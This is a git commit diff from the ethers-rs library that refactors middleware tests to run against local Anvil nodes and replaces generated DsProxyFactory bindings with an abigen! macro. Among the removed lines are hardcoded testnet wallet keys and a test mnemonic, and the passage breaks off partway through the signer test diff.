update middleware tests
This commit is contained in:
parent
e0a46a338d
commit
3eb7430678
|
@ -7,7 +7,7 @@ use std::{
|
||||||
};
|
};
|
||||||
|
|
||||||
fn _contract_call_into_future_is_send() {
|
fn _contract_call_into_future_is_send() {
|
||||||
abigen!(DsProxyFactory, "ethers-middleware/contracts/DsProxyFactory.json");
|
abigen!(DsProxyFactory, "./../ethers-middleware/contracts/DSProxyFactory.json");
|
||||||
let (provider, _) = Provider::mocked();
|
let (provider, _) = Provider::mocked();
|
||||||
let client = Arc::new(provider);
|
let client = Arc::new(provider);
|
||||||
let contract = DsProxyFactory::new(Address::zero(), client);
|
let contract = DsProxyFactory::new(Address::zero(), client);
|
||||||
|
|
|
@ -261,8 +261,9 @@ fn can_derive_indexed_and_anonymous_attribute() {
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn can_generate_ethevent_from_json() {
|
fn can_generate_ethevent_from_json() {
|
||||||
abigen!(DsProxyFactory,
|
abigen!(
|
||||||
"ethers-middleware/contracts/DsProxyFactory.json",
|
DsProxyFactory,
|
||||||
|
"./../ethers-middleware/contracts/DSProxyFactory.json",
|
||||||
methods {
|
methods {
|
||||||
build(address) as build_with_owner;
|
build(address) as build_with_owner;
|
||||||
}
|
}
|
||||||
|
|
|
@ -15,7 +15,9 @@ all-features = true
|
||||||
rustdoc-args = ["--cfg", "docsrs"]
|
rustdoc-args = ["--cfg", "docsrs"]
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
ethers-contract = { version = "^1.0.0", path = "../ethers-contract", default-features = false }
|
ethers-contract = { version = "^1.0.0", path = "../ethers-contract", default-features = false, features = [
|
||||||
|
"abigen",
|
||||||
|
] }
|
||||||
ethers-core = { version = "^1.0.0", path = "../ethers-core", default-features = false }
|
ethers-core = { version = "^1.0.0", path = "../ethers-core", default-features = false }
|
||||||
ethers-etherscan = { version = "^1.0.0", path = "../ethers-etherscan", default-features = false }
|
ethers-etherscan = { version = "^1.0.0", path = "../ethers-etherscan", default-features = false }
|
||||||
ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false }
|
ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false }
|
||||||
|
@ -41,14 +43,15 @@ instant = { version = "0.1.12", features = ["now"] }
|
||||||
tokio = { version = "1.18" }
|
tokio = { version = "1.18" }
|
||||||
|
|
||||||
[dev-dependencies]
|
[dev-dependencies]
|
||||||
hex = { version = "0.4.3", default-features = false, features = ["std"] }
|
|
||||||
rand = { version = "0.8.5", default-features = false }
|
|
||||||
ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false, features = [
|
ethers-providers = { version = "^1.0.0", path = "../ethers-providers", default-features = false, features = [
|
||||||
"ws",
|
"ws",
|
||||||
"rustls",
|
"rustls",
|
||||||
] }
|
] }
|
||||||
once_cell = "1.17.1"
|
|
||||||
ethers-solc = { version = "^1.0.0", path = "../ethers-solc" }
|
ethers-solc = { version = "^1.0.0", path = "../ethers-solc" }
|
||||||
|
|
||||||
|
hex = { version = "0.4.3", default-features = false, features = ["std"] }
|
||||||
|
rand = { version = "0.8.5", default-features = false }
|
||||||
|
once_cell = "1.17.1"
|
||||||
serial_test = "0.10.0"
|
serial_test = "0.10.0"
|
||||||
reqwest = { version = "0.11.14", default-features = false, features = ["json", "rustls"] }
|
reqwest = { version = "0.11.14", default-features = false, features = ["json", "rustls"] }
|
||||||
|
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -1,95 +0,0 @@
|
||||||
[
|
|
||||||
{
|
|
||||||
"constant": true,
|
|
||||||
"inputs": [
|
|
||||||
{
|
|
||||||
"name": "",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"name": "isProxy",
|
|
||||||
"outputs": [
|
|
||||||
{
|
|
||||||
"name": "",
|
|
||||||
"type": "bool"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"payable": false,
|
|
||||||
"stateMutability": "view",
|
|
||||||
"type": "function"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"constant": true,
|
|
||||||
"inputs": [],
|
|
||||||
"name": "cache",
|
|
||||||
"outputs": [
|
|
||||||
{
|
|
||||||
"name": "",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"payable": false,
|
|
||||||
"stateMutability": "view",
|
|
||||||
"type": "function"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"constant": false,
|
|
||||||
"inputs": [],
|
|
||||||
"name": "build",
|
|
||||||
"outputs": [
|
|
||||||
{
|
|
||||||
"name": "proxy",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"payable": false,
|
|
||||||
"stateMutability": "nonpayable",
|
|
||||||
"type": "function"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"constant": false,
|
|
||||||
"inputs": [
|
|
||||||
{
|
|
||||||
"name": "owner",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"name": "build",
|
|
||||||
"outputs": [
|
|
||||||
{
|
|
||||||
"name": "proxy",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"payable": false,
|
|
||||||
"stateMutability": "nonpayable",
|
|
||||||
"type": "function"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"anonymous": false,
|
|
||||||
"inputs": [
|
|
||||||
{
|
|
||||||
"indexed": true,
|
|
||||||
"name": "sender",
|
|
||||||
"type": "address"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"indexed": true,
|
|
||||||
"name": "owner",
|
|
||||||
"type": "address"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"indexed": false,
|
|
||||||
"name": "proxy",
|
|
||||||
"type": "address"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"indexed": false,
|
|
||||||
"name": "cache",
|
|
||||||
"type": "address"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"name": "Created",
|
|
||||||
"type": "event"
|
|
||||||
}
|
|
||||||
]
|
|
|
@ -499,6 +499,9 @@ mod tests {
|
||||||
None,
|
None,
|
||||||
)
|
)
|
||||||
.await
|
.await
|
||||||
|
.unwrap()
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
.unwrap();
|
.unwrap();
|
||||||
let client = SignerMiddleware::new_with_provider_chain(provider, key).await.unwrap();
|
let client = SignerMiddleware::new_with_provider_chain(provider, key).await.unwrap();
|
||||||
|
|
||||||
|
|
|
@ -1,204 +1,20 @@
|
||||||
use ethers_contract::Lazy;
|
use ethers_contract::{abigen, Lazy};
|
||||||
use ethers_core::types::*;
|
use ethers_core::types::{Address, U256};
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
|
|
||||||
/// A lazily computed hash map with the Ethereum network IDs as keys and the corresponding
|
/// A lazily computed hash map with the Ethereum network IDs as keys and the corresponding
|
||||||
/// DsProxyFactory contract addresses as values
|
/// DsProxyFactory contract addresses as values
|
||||||
pub static ADDRESS_BOOK: Lazy<HashMap<U256, Address>> = Lazy::new(|| {
|
pub static ADDRESS_BOOK: Lazy<HashMap<U256, Address>> = Lazy::new(|| {
|
||||||
let mut m = HashMap::with_capacity(1);
|
HashMap::from([
|
||||||
|
// Mainnet
|
||||||
// mainnet
|
(U256::from(1_u64), "eefba1e63905ef1d7acba5a8513c70307c1ce441".parse().unwrap()),
|
||||||
let addr = "eefba1e63905ef1d7acba5a8513c70307c1ce441".parse().unwrap();
|
])
|
||||||
m.insert(U256::from(1_u64), addr);
|
|
||||||
|
|
||||||
m
|
|
||||||
});
|
});
|
||||||
|
|
||||||
/// Generated with abigen:
|
abigen!(
|
||||||
///
|
DsProxyFactory,
|
||||||
/// ```ignore
|
"./contracts/DSProxyFactory.json",
|
||||||
/// # use ethers_contract::abigen;
|
methods {
|
||||||
/// abigen!(DsProxyFactory,
|
build() as build_with_sender;
|
||||||
/// "ethers-middleware/contracts/DsProxyFactory.json",
|
|
||||||
/// methods {
|
|
||||||
/// build() as build_with_sender;
|
|
||||||
/// }
|
|
||||||
/// );
|
|
||||||
/// ```
|
|
||||||
pub use dsproxyfactory_mod::*;
|
|
||||||
#[allow(clippy::too_many_arguments)]
|
|
||||||
mod dsproxyfactory_mod {
|
|
||||||
#![allow(dead_code)]
|
|
||||||
#![allow(unused_imports)]
|
|
||||||
use ethers_contract::{
|
|
||||||
builders::{ContractCall, Event},
|
|
||||||
Contract, EthEvent, Lazy,
|
|
||||||
};
|
|
||||||
use ethers_core::{
|
|
||||||
abi::{
|
|
||||||
parse_abi, Abi, Detokenize, InvalidOutputType, ParamType, Token, Tokenizable,
|
|
||||||
TokenizableItem,
|
|
||||||
},
|
|
||||||
types::*,
|
|
||||||
};
|
|
||||||
use ethers_providers::Middleware;
|
|
||||||
#[doc = "DsProxyFactory was auto-generated with ethers-rs Abigen. More information at: <https://github.com/gakonst/ethers-rs>"]
|
|
||||||
use std::sync::Arc;
|
|
||||||
|
|
||||||
pub static DSPROXYFACTORY_ABI: Lazy<Abi> = Lazy::new(|| {
|
|
||||||
serde_json :: from_str ("[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"isProxy\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"cache\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"build\",\"outputs\":[{\"name\":\"proxy\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"build\",\"outputs\":[{\"name\":\"proxy\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"sender\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"proxy\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"cache\",\"type\":\"address\"}],\"name\":\"Created\",\"type\":\"event\"}]\n") . expect ("invalid abi")
|
|
||||||
});
|
|
||||||
pub struct DsProxyFactory<M>(Contract<M>);
|
|
||||||
impl<M> Clone for DsProxyFactory<M> {
|
|
||||||
fn clone(&self) -> Self {
|
|
||||||
DsProxyFactory(self.0.clone())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
impl<M> std::ops::Deref for DsProxyFactory<M> {
|
|
||||||
type Target = Contract<M>;
|
|
||||||
fn deref(&self) -> &Self::Target {
|
|
||||||
&self.0
|
|
||||||
}
|
|
||||||
}
|
|
||||||
impl<M: Middleware> std::fmt::Debug for DsProxyFactory<M> {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
|
|
||||||
f.debug_tuple(stringify!(DsProxyFactory)).field(&self.address()).finish()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
impl<M: Middleware> DsProxyFactory<M> {
|
|
||||||
#[doc = r" Creates a new contract instance with the specified `ethers`"]
|
|
||||||
#[doc = r" client at the given `Address`. The contract derefs to a `ethers::Contract`"]
|
|
||||||
#[doc = r" object"]
|
|
||||||
pub fn new<T: Into<Address>>(address: T, client: Arc<M>) -> Self {
|
|
||||||
let contract = Contract::new(address.into(), DSPROXYFACTORY_ABI.clone(), client);
|
|
||||||
Self(contract)
|
|
||||||
}
|
|
||||||
#[doc = "Calls the contract's `isProxy` (0x29710388) function"]
|
|
||||||
pub fn is_proxy(&self, p0: Address) -> ContractCall<M, bool> {
|
|
||||||
self.0
|
|
||||||
.method_hash([41, 113, 3, 136], p0)
|
|
||||||
.expect("method not found (this should never happen)")
|
|
||||||
}
|
|
||||||
///Calls the contract's `build` (0x8e1a55fc) function
|
|
||||||
pub fn build_with_sender(&self) -> ContractCall<M, Address> {
|
|
||||||
self.0
|
|
||||||
.method_hash([142, 26, 85, 252], ())
|
|
||||||
.expect("method not found (this should never happen)")
|
|
||||||
}
|
|
||||||
///Calls the contract's `build` (0xf3701da2) function
|
|
||||||
pub fn build(&self, owner: Address) -> ContractCall<M, Address> {
|
|
||||||
self.0
|
|
||||||
.method_hash([243, 112, 29, 162], owner)
|
|
||||||
.expect("method not found (this should never happen)")
|
|
||||||
}
|
|
||||||
#[doc = "Calls the contract's `cache` (0x60c7d295) function"]
|
|
||||||
pub fn cache(&self) -> ContractCall<M, Address> {
|
|
||||||
self.0
|
|
||||||
.method_hash([96, 199, 210, 149], ())
|
|
||||||
.expect("method not found (this should never happen)")
|
|
||||||
}
|
|
||||||
///Gets the contract's `Created` event
|
|
||||||
pub fn created_filter(&self) -> Event<Arc<M>, M, CreatedFilter> {
|
|
||||||
self.0.event()
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Returns an [`Event`](ethers_contract::builders::Event) builder for all events of this
|
|
||||||
/// contract
|
|
||||||
pub fn events(&self) -> Event<Arc<M>, M, CreatedFilter> {
|
|
||||||
self.0.event_with_filter(Default::default())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Clone, Debug, Default, Eq, PartialEq)]
|
|
||||||
pub struct CreatedFilter {
|
|
||||||
pub sender: Address,
|
|
||||||
pub owner: Address,
|
|
||||||
pub proxy: Address,
|
|
||||||
pub cache: Address,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl ethers_core::abi::AbiType for CreatedFilter {
|
|
||||||
fn param_type() -> ParamType {
|
|
||||||
ParamType::Tuple(::std::vec![
|
|
||||||
ParamType::Address; 4
|
|
||||||
])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
impl ethers_core::abi::AbiArrayType for CreatedFilter {}
|
|
||||||
|
|
||||||
impl Tokenizable for CreatedFilter {
|
|
||||||
fn from_token(token: Token) -> Result<Self, InvalidOutputType>
|
|
||||||
where
|
|
||||||
Self: Sized,
|
|
||||||
{
|
|
||||||
if let Token::Tuple(tokens) = token {
|
|
||||||
if tokens.len() != 4usize {
|
|
||||||
return Err(InvalidOutputType(format!(
|
|
||||||
"Expected {} tokens, got {}: {:?}",
|
|
||||||
4usize,
|
|
||||||
tokens.len(),
|
|
||||||
tokens
|
|
||||||
)))
|
|
||||||
}
|
|
||||||
let mut iter = tokens.into_iter();
|
|
||||||
Ok(Self {
|
|
||||||
sender: Tokenizable::from_token(iter.next().unwrap())?,
|
|
||||||
owner: Tokenizable::from_token(iter.next().unwrap())?,
|
|
||||||
proxy: Tokenizable::from_token(iter.next().unwrap())?,
|
|
||||||
cache: Tokenizable::from_token(iter.next().unwrap())?,
|
|
||||||
})
|
|
||||||
} else {
|
|
||||||
Err(InvalidOutputType(format!("Expected Tuple, got {token:?}")))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fn into_token(self) -> Token {
|
|
||||||
Token::Tuple(::std::vec![
|
|
||||||
self.sender.into_token(),
|
|
||||||
self.owner.into_token(),
|
|
||||||
self.proxy.into_token(),
|
|
||||||
self.cache.into_token(),
|
|
||||||
])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
impl TokenizableItem for CreatedFilter {}
|
|
||||||
|
|
||||||
impl ethers_contract::EthEvent for CreatedFilter {
|
|
||||||
fn name() -> std::borrow::Cow<'static, str> {
|
|
||||||
"Created".into()
|
|
||||||
}
|
|
||||||
fn signature() -> H256 {
|
|
||||||
H256([
|
|
||||||
37, 155, 48, 202, 57, 136, 92, 109, 128, 26, 11, 93, 188, 152, 134, 64, 243, 194,
|
|
||||||
94, 47, 55, 83, 31, 225, 56, 197, 197, 175, 137, 85, 212, 27,
|
|
||||||
])
|
|
||||||
}
|
|
||||||
fn abi_signature() -> std::borrow::Cow<'static, str> {
|
|
||||||
"Created(address,address,address,address)".into()
|
|
||||||
}
|
|
||||||
fn decode_log(log: ðers_core::abi::RawLog) -> Result<Self, ethers_core::abi::Error>
|
|
||||||
where
|
|
||||||
Self: Sized,
|
|
||||||
{
|
|
||||||
let ethers_core::abi::RawLog { data, topics } = log;
|
|
||||||
let event_signature = topics.get(0).ok_or(ethers_core::abi::Error::InvalidData)?;
|
|
||||||
if event_signature != &Self::signature() {
|
|
||||||
return Err(ethers_core::abi::Error::InvalidData)
|
|
||||||
}
|
|
||||||
let topic_types = ::std::vec![ParamType::Address, ParamType::Address];
|
|
||||||
let data_types = [ParamType::Address, ParamType::Address];
|
|
||||||
let flat_topics =
|
|
||||||
topics.iter().skip(1).flat_map(|t| t.as_ref().to_vec()).collect::<Vec<u8>>();
|
|
||||||
let topic_tokens = ethers_core::abi::decode(&topic_types, &flat_topics)?;
|
|
||||||
if topic_tokens.len() != topics.len() - 1 {
|
|
||||||
return Err(ethers_core::abi::Error::InvalidData)
|
|
||||||
}
|
|
||||||
let data_tokens = ethers_core::abi::decode(&data_types, data)?;
|
|
||||||
let tokens: Vec<_> = topic_tokens.into_iter().chain(data_tokens.into_iter()).collect();
|
|
||||||
Tokenizable::from_token(Token::Tuple(tokens))
|
|
||||||
.map_err(|_| ethers_core::abi::Error::InvalidData)
|
|
||||||
}
|
|
||||||
fn is_anonymous() -> bool {
|
|
||||||
false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
);
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
mod factory;
|
pub mod factory;
|
||||||
use factory::{CreatedFilter, DsProxyFactory, ADDRESS_BOOK};
|
use factory::{CreatedFilter, DsProxyFactory, ADDRESS_BOOK};
|
||||||
|
|
||||||
use super::{Transformer, TransformerError};
|
use super::{Transformer, TransformerError};
|
||||||
|
@ -18,7 +18,6 @@ const DS_PROXY_EXECUTE_TARGET: &str =
|
||||||
const DS_PROXY_EXECUTE_CODE: &str =
|
const DS_PROXY_EXECUTE_CODE: &str =
|
||||||
"function execute(bytes memory code, bytes memory data) public payable returns (address target, bytes memory response)";
|
"function execute(bytes memory code, bytes memory data) public payable returns (address target, bytes memory response)";
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
/// Represents the DsProxy type that implements the [Transformer](super::Transformer) trait.
|
/// Represents the DsProxy type that implements the [Transformer](super::Transformer) trait.
|
||||||
///
|
///
|
||||||
/// # Example
|
/// # Example
|
||||||
|
@ -57,6 +56,7 @@ const DS_PROXY_EXECUTE_CODE: &str =
|
||||||
/// # Ok(())
|
/// # Ok(())
|
||||||
/// # }
|
/// # }
|
||||||
/// ```
|
/// ```
|
||||||
|
#[derive(Clone, Debug)]
|
||||||
pub struct DsProxy {
|
pub struct DsProxy {
|
||||||
address: Address,
|
address: Address,
|
||||||
contract: BaseContract,
|
contract: BaseContract,
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
mod ds_proxy;
|
pub mod ds_proxy;
|
||||||
pub use ds_proxy::DsProxy;
|
pub use ds_proxy::DsProxy;
|
||||||
|
|
||||||
mod middleware;
|
mod middleware;
|
||||||
|
|
|
@ -1,40 +1,41 @@
|
||||||
use ethers_core::types::*;
|
use ethers_core::{types::*, utils::Anvil};
|
||||||
use ethers_middleware::{
|
use ethers_middleware::{
|
||||||
gas_escalator::{Frequency, GasEscalatorMiddleware, GeometricGasPrice},
|
gas_escalator::{Frequency, GasEscalatorMiddleware, GeometricGasPrice},
|
||||||
signer::SignerMiddleware,
|
MiddlewareBuilder,
|
||||||
};
|
};
|
||||||
use ethers_providers::Middleware;
|
use ethers_providers::{Http, Middleware, Provider};
|
||||||
use ethers_signers::{LocalWallet, Signer};
|
use ethers_signers::{LocalWallet, Signer};
|
||||||
use std::time::Duration;
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
#[ignore]
|
#[ignore]
|
||||||
async fn gas_escalator_live() {
|
async fn gas_escalator() {
|
||||||
// connect to ropsten for getting bad block times
|
let anvil = Anvil::new().block_time(2u64).spawn();
|
||||||
#[allow(deprecated)]
|
let chain_id = anvil.chain_id();
|
||||||
let provider = ethers_providers::ROPSTEN.ws().await;
|
let provider = Provider::<Http>::try_from(anvil.endpoint()).unwrap();
|
||||||
let provider = provider.interval(Duration::from_millis(2000u64));
|
|
||||||
let wallet = "fdb33e2105f08abe41a8ee3b758726a31abdd57b7a443f470f23efce853af169"
|
// wrap with signer
|
||||||
.parse::<LocalWallet>()
|
let wallet: LocalWallet = anvil.keys().first().unwrap().clone().into();
|
||||||
.unwrap();
|
let wallet = wallet.with_chain_id(chain_id);
|
||||||
let address = wallet.address();
|
let address = wallet.address();
|
||||||
let provider = SignerMiddleware::new(provider, wallet);
|
let provider = provider.with_signer(wallet);
|
||||||
|
|
||||||
|
// wrap with escalator
|
||||||
let escalator = GeometricGasPrice::new(5.0, 10u64, Some(2_000_000_000_000u64));
|
let escalator = GeometricGasPrice::new(5.0, 10u64, Some(2_000_000_000_000u64));
|
||||||
|
let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::Duration(300));
|
||||||
let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::Duration(3000));
|
|
||||||
|
|
||||||
let nonce = provider.get_transaction_count(address, None).await.unwrap();
|
let nonce = provider.get_transaction_count(address, None).await.unwrap();
|
||||||
let tx = TransactionRequest::pay(Address::zero(), 1u64).gas_price(10_000_000);
|
// 1 gwei default base fee
|
||||||
|
let gas_price = U256::from(1_000_000_000_u64);
|
||||||
|
let tx = TransactionRequest::pay(Address::zero(), 1u64)
|
||||||
|
.gas_price(gas_price)
|
||||||
|
.nonce(nonce)
|
||||||
|
.chain_id(chain_id);
|
||||||
|
|
||||||
// broadcast 3 txs
|
eprintln!("sending");
|
||||||
provider.send_transaction(tx.clone().nonce(nonce), None).await.unwrap();
|
let pending = provider.send_transaction(tx, None).await.expect("could not send");
|
||||||
provider.send_transaction(tx.clone().nonce(nonce + 1), None).await.unwrap();
|
eprintln!("waiting");
|
||||||
provider.send_transaction(tx.clone().nonce(nonce + 2), None).await.unwrap();
|
let receipt = pending.await.expect("reverted").expect("dropped");
|
||||||
|
assert_eq!(receipt.from, address);
|
||||||
// Wait a bunch of seconds and refresh etherscan to see the transactions get bumped
|
assert_eq!(receipt.to, Some(Address::zero()));
|
||||||
tokio::time::sleep(Duration::from_secs(100)).await;
|
assert!(receipt.effective_gas_price.unwrap() > gas_price * 2, "{receipt:?}");
|
||||||
|
|
||||||
// TODO: Figure out how to test this behavior properly in a local network. If the gas price was
|
|
||||||
// bumped then the tx hash will be different
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,19 +1,49 @@
|
||||||
#![allow(clippy::extra_unused_type_parameters)]
|
#![allow(clippy::extra_unused_type_parameters)]
|
||||||
#![cfg(not(target_arch = "wasm32"))]
|
#![cfg(not(target_arch = "wasm32"))]
|
||||||
|
|
||||||
|
use ethers_core::utils::{Anvil, AnvilInstance};
|
||||||
|
use ethers_providers::{Http, Provider, Ws};
|
||||||
|
use ethers_signers::{LocalWallet, Signer};
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
mod builder;
|
mod builder;
|
||||||
|
|
||||||
mod gas_escalator;
|
mod gas_escalator;
|
||||||
|
|
||||||
mod gas_oracle;
|
mod gas_oracle;
|
||||||
|
|
||||||
|
// #[cfg(not(feature = "celo"))]
|
||||||
mod signer;
|
mod signer;
|
||||||
|
|
||||||
#[cfg(not(feature = "celo"))]
|
// #[cfg(not(feature = "celo"))]
|
||||||
mod nonce_manager;
|
mod nonce_manager;
|
||||||
|
|
||||||
#[cfg(not(feature = "celo"))]
|
// #[cfg(not(feature = "celo"))]
|
||||||
mod stack;
|
mod stack;
|
||||||
|
|
||||||
#[cfg(not(feature = "celo"))]
|
// #[cfg(not(feature = "celo"))]
|
||||||
mod transformer;
|
mod transformer;
|
||||||
|
|
||||||
|
/// Spawns Anvil and instantiates an HTTP provider.
|
||||||
|
pub fn spawn_anvil() -> (Provider<Http>, AnvilInstance) {
|
||||||
|
let anvil = Anvil::new().spawn();
|
||||||
|
let provider = Provider::<Http>::try_from(anvil.endpoint())
|
||||||
|
.unwrap()
|
||||||
|
.interval(Duration::from_millis(10u64));
|
||||||
|
(provider, anvil)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Spawns Anvil and instantiates a WS provider.
|
||||||
|
pub async fn spawn_anvil_ws() -> (Provider<Ws>, AnvilInstance) {
|
||||||
|
let anvil = Anvil::new().spawn();
|
||||||
|
let provider = Provider::<Ws>::connect(anvil.ws_endpoint())
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
.interval(Duration::from_millis(10u64));
|
||||||
|
(provider, anvil)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets `idx` wallet from the given anvil instance.
|
||||||
|
pub fn get_wallet(anvil: &AnvilInstance, idx: usize) -> LocalWallet {
|
||||||
|
LocalWallet::from(anvil.keys()[idx].clone()).with_chain_id(anvil.chain_id())
|
||||||
|
}
|
||||||
|
|
|
@ -1,16 +1,13 @@
|
||||||
use ethers_core::{types::*, utils::Anvil};
|
use crate::spawn_anvil;
|
||||||
|
use ethers_core::types::*;
|
||||||
use ethers_middleware::MiddlewareBuilder;
|
use ethers_middleware::MiddlewareBuilder;
|
||||||
use ethers_providers::{Http, Middleware, Provider};
|
use ethers_providers::Middleware;
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn nonce_manager() {
|
async fn nonce_manager() {
|
||||||
let anvil = Anvil::new().spawn();
|
let (provider, anvil) = spawn_anvil();
|
||||||
let endpoint = anvil.endpoint();
|
let address = anvil.addresses()[0];
|
||||||
|
let to = anvil.addresses()[1];
|
||||||
let provider = Provider::<Http>::try_from(endpoint).unwrap();
|
|
||||||
let accounts = provider.get_accounts().await.unwrap();
|
|
||||||
let address = accounts[0];
|
|
||||||
let to = accounts[1];
|
|
||||||
|
|
||||||
// the nonce manager must be over the Client so that it overrides the nonce
|
// the nonce manager must be over the Client so that it overrides the nonce
|
||||||
// before the client gets it
|
// before the client gets it
|
||||||
|
|
|
@ -1,171 +1,118 @@
|
||||||
#![allow(unused_imports)]
|
use crate::{get_wallet, spawn_anvil, spawn_anvil_ws};
|
||||||
|
use ethers_core::types::*;
|
||||||
use ethers_contract::ContractFactory;
|
use ethers_middleware::{signer::SignerMiddleware, MiddlewareBuilder};
|
||||||
use ethers_core::{abi::Abi, types::*, utils::parse_ether};
|
use ethers_providers::{JsonRpcClient, Middleware};
|
||||||
use ethers_middleware::signer::SignerMiddleware;
|
use ethers_signers::{LocalWallet, Signer};
|
||||||
use ethers_providers::{Http, JsonRpcClient, Middleware, Provider};
|
|
||||||
use ethers_signers::{coins_bip39::English, LocalWallet, MnemonicBuilder, Signer};
|
|
||||||
use ethers_solc::Solc;
|
|
||||||
use once_cell::sync::Lazy;
|
|
||||||
use std::{
|
|
||||||
convert::TryFrom,
|
|
||||||
sync::{atomic::AtomicU8, Arc},
|
|
||||||
time::Duration,
|
|
||||||
};
|
|
||||||
|
|
||||||
#[allow(dead_code)]
|
|
||||||
static WALLETS: Lazy<TestWallets> = Lazy::new(|| {
|
|
||||||
TestWallets {
|
|
||||||
mnemonic: MnemonicBuilder::default()
|
|
||||||
// Please don't drain this :)
|
|
||||||
.phrase("impose air often almost medal sudden finish quote dwarf devote theme layer"),
|
|
||||||
next: Default::default(),
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
#[derive(Debug, Default)]
|
|
||||||
#[allow(dead_code)]
|
|
||||||
struct TestWallets {
|
|
||||||
mnemonic: MnemonicBuilder<English>,
|
|
||||||
next: AtomicU8,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[allow(dead_code)]
|
|
||||||
impl TestWallets {
|
|
||||||
/// Helper for funding the wallets with an instantiated provider
|
|
||||||
#[allow(unused)]
|
|
||||||
pub async fn fund<T: JsonRpcClient, U: Into<u32>>(&self, provider: &Provider<T>, n: U) {
|
|
||||||
let addrs = (0..n.into()).map(|i| self.get(i).address()).collect::<Vec<_>>();
|
|
||||||
// hardcoded funder address private key, GOERLI
|
|
||||||
let signer = "9867bd0f8d9e16c57f5251b35a73f6f903eb8eee1bdc7f15256d0dc09d1945fb"
|
|
||||||
.parse::<LocalWallet>()
|
|
||||||
.unwrap()
|
|
||||||
.with_chain_id(provider.get_chainid().await.unwrap().as_u64());
|
|
||||||
let provider = SignerMiddleware::new(provider, signer);
|
|
||||||
let addr = provider.address();
|
|
||||||
|
|
||||||
let mut nonce = provider.get_transaction_count(addr, None).await.unwrap();
|
|
||||||
let mut pending_txs = Vec::new();
|
|
||||||
for addr in addrs {
|
|
||||||
println!("Funding wallet {addr:?}");
|
|
||||||
let tx = TransactionRequest::new()
|
|
||||||
.nonce(nonce)
|
|
||||||
.to(addr)
|
|
||||||
// 0.1 eth per wallet
|
|
||||||
.value(parse_ether("1").unwrap());
|
|
||||||
pending_txs.push(
|
|
||||||
provider.send_transaction(tx, Some(BlockNumber::Pending.into())).await.unwrap(),
|
|
||||||
);
|
|
||||||
nonce += 1.into();
|
|
||||||
}
|
|
||||||
|
|
||||||
futures_util::future::join_all(pending_txs).await;
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn next(&self) -> LocalWallet {
|
|
||||||
let idx = self.next.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
|
|
||||||
|
|
||||||
// println!("Got wallet {:?}", wallet.address());
|
|
||||||
self.get(idx)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn get<T: Into<u32>>(&self, idx: T) -> LocalWallet {
|
|
||||||
self.mnemonic
|
|
||||||
.clone()
|
|
||||||
.index(idx)
|
|
||||||
.expect("index not found")
|
|
||||||
.build()
|
|
||||||
